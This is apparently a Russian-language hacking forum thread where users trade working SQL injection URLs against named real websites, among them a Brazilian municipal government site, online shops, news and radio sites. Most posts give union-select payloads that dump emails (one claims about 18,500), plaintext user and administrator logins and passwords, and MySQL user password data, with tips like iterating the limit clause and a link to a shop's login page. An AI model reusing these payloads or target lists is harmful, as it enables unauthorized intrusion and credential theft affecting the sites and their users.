SQL Инъекции

наверное Айсег постил уже
NASA

 

www.soaw.org

Не выводит.

Code:

http://www.soaw.org/new/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65/*

 

Ксандер, ты просто перебираешь что ли? 0_о
union select 1
union select 1,2
union select 1,2,3
Если да то загляни в мою статью, там про подбор колонок =)

 

meteoprog.com.ua

Погоду хотел узнать =)

Code:

http://meteoprog.com.ua/gorodMira.php?cityid=-1+union+select+1/*

 

Code:

http://www.worstpreviews.com/review.php?id=17+order+by+1

Code:

http://www.ragmag.net/page.php?id=21+order+by+15

юнион селект пименять лень...

 

ekat.ru

Code:

http://ekat.ru/firms/index.php/job/?cmd=show&rubid=-1+union+select+email,2+from+users+limit+1,19000/*

почти 18.5к мыльников
можно еще выдернуть логины/пассы к мылам.. для пассов столбец password

 

www.hansbekxteamsport.nl[shop]

Code:

http://www.hansbekxteamsport.nl/2007/shop.php?ID=-6+union+select+1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+Users/*
http://www.hansbekxteamsport.nl/2007/shop.php?ID=-6+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+INFORMATION_SCHEMA.TABLES+limit+31,1/*

pass-в чистом виде

 

http://www.urlopwpolsce.pl/kategoria.php?id=17+order+by+2/*

 

infoprom.com.ua

Code:

http://infoprom.com.ua/catalog.php?lang=ru&id=-1+union+select+concat(version(),char(58),database(),char(58),user())/*

 

Code:

http://www.counterstrike-files.com/CSS/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33/*

дальше не подбирал ....инет полудохлый=\

 

www.promdesign.com.ua

Code:

http://www.promdesign.com.ua/search.html?s=-1+union+select+1,2,3,4,name,6,7+from+t_forum/*

 

http://www.flirtanica.ru/articles1.php?id=18%20union%20select%201,2,3,4,5/*

 

Code:

http://www.breakdance.ru/index.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9,10/*

 

camaracaxias.rs.gov.br

Code:

http://www.camaracaxias.rs.gov.br/imprensatextoimp.php?ID=-1193%20UNION%20SELECT%201,convert(user+using+latin1),convert(password+using+latin1),4,5,6,7,8,9,10,11+from+mysql.user/*

 

paxar.bc.ca

Ничего интересного нема.

Code:

http://paxar.bc.ca/viewnews.php?newsID=-1+union+select+1,2,concat(username,char(58),password),4+from+administrators/*

 

http://www.terrorism.ru/dosie1.phtml?id=18%20union%20select%201,2,3,4,5%20from%20mysql.user/*

результат в самом низу страницы

 

thelist.ru

Code:

http://thelist.ru/link.php?id=-1+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.tables+limit+40,1/*

+ там еще много таблиц... можете покопаться


update:
bestposters.ru

Code:

http://www.bestposters.ru/main.php?big=-1+union+select+1,concat(login,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+users+limit+0,1/*

шоп, логины/пассы в чистом виде, перебор лимита решает..
http://www.bestposters.ru/login_user.php?action=lform
логин

 

Code:

http://www.rehmonnya.org/allwcrp_detail.php?id=17+order+by+10

и ещё короткий домен ))

Code:

http://www.hermitagehelmond.com/kluizen2.php?id=17+order+by+4

 

www.nasheradio.net

Code:

http://www.nasheradio.net/news2.php?id=1'+union+select+1,concat(user(),char(58),database(),char(58),version()),3,4,5,6,7,8,9,10,11,12/*

 

http://www.quest3d.com/index.php?id=17+order+by+17